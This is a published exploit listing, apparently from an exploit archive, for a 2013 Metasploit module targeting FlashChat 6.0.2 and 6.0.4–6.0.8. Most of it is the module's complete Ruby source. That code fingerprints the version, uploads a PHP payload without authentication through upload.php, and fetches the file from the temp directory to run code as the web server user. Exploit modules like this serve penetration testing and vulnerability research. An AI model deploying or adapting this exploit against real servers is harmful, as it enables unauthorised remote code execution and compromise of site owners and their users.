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FlashChat Arbitrary File Upload

FlashChat Arbitrary File Upload
Posted Oct 7, 2013
Authored by x-hayben21 | Site metasploit.com

This Metasploit module exploits a file upload vulnerability found in FlashChat versions 6.0.2 and 6.0.4 to 6.0.8. Attackers can abuse the upload feature in order to upload malicious PHP files without authentication which results in arbitrary remote code execution as the web server user.

tags | exploit, remote, web, arbitrary, php, code execution, file upload
MD5 | 88a119b53572dc173d3b712b506a8f6e

FlashChat Arbitrary File Upload

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => "FlashChat Arbitrary File Upload",
'Description' => %q{
This module exploits a file upload vulnerability found in FlashChat
versions 6.0.2 and 6.0.4 to 6.0.8. Attackers can abuse the upload
feature in order to upload malicious PHP files without authentication
which results in arbitrary remote code execution as the web server user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'x-hayben21', # Discovery and PoC
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'References' =>
[
['EDB', '28709']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'Arch' => ARCH_PHP,
'Platform' => 'php',
'Targets' =>
[
# Tested on FlashChat version 6.0.8
[ 'Generic (PHP Payload)', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Oct 04 2013",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to FlashChat', '/chat/'])
], self.class)
end

#
# Checks if target is running FlashChat versions 6.0.2, 6.0.4 to 6.0.8
#
def check
uri = normalize_uri(target_uri.path, '')
res = send_request_raw({'uri' => uri})

if not res
print_error("#{peer} - Connection timed out")
return Exploit::CheckCode::Unknown
end

version = res.body.scan(/<title>FlashChat v([\d\.]+)/).flatten[0] || ''

if version.empty?
return Exploit::CheckCode::Unknown
end

print_status("#{peer} - Version found: #{version}")

if version =~ /6\.0\.(2|4|5|6|7|8)/
return Exploit::CheckCode::Vulnerable
elsif version <= "6.0.8"
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end

end


#
# Uploads our malicious file
# Stolen from havalite_upload_exec.rb
#
def upload(base)
fname = "#{rand_text_alphanumeric(rand(10)+6)}.php"
php = "<?php #{payload.encoded} ?>"
data = Rex::MIME::Message.new
data.add_part(php, "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"#{fname}\"")
post_data = data.to_s.gsub(/^\r\n--_Part_/, '--_Part_')

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(base, 'upload.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})

if not res
fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")
elsif res.code.to_i == 404
fail_with(Failure::NotFound, "#{peer} - No upload.php found")
elsif res.code.to_i == 500
fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}")
end

return fname
end


#
# Executes our uploaded malicious file
# Stolen from havalite_upload_exec.rb
#
def exec(base, payload_fname)
res = send_request_raw({
'uri' => normalize_uri(base, 'temp', payload_fname)
})

if res and res.code == 404
fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
end
end

def exploit
base = target_uri.path

# upload
print_status("#{peer} - Uploading malicious file...")
fname = upload(base)

# register the file to clean
register_files_for_cleanup(fname)

# exec
print_status("#{peer} - Executing #{fname}...")
exec(base, fname)
end
end

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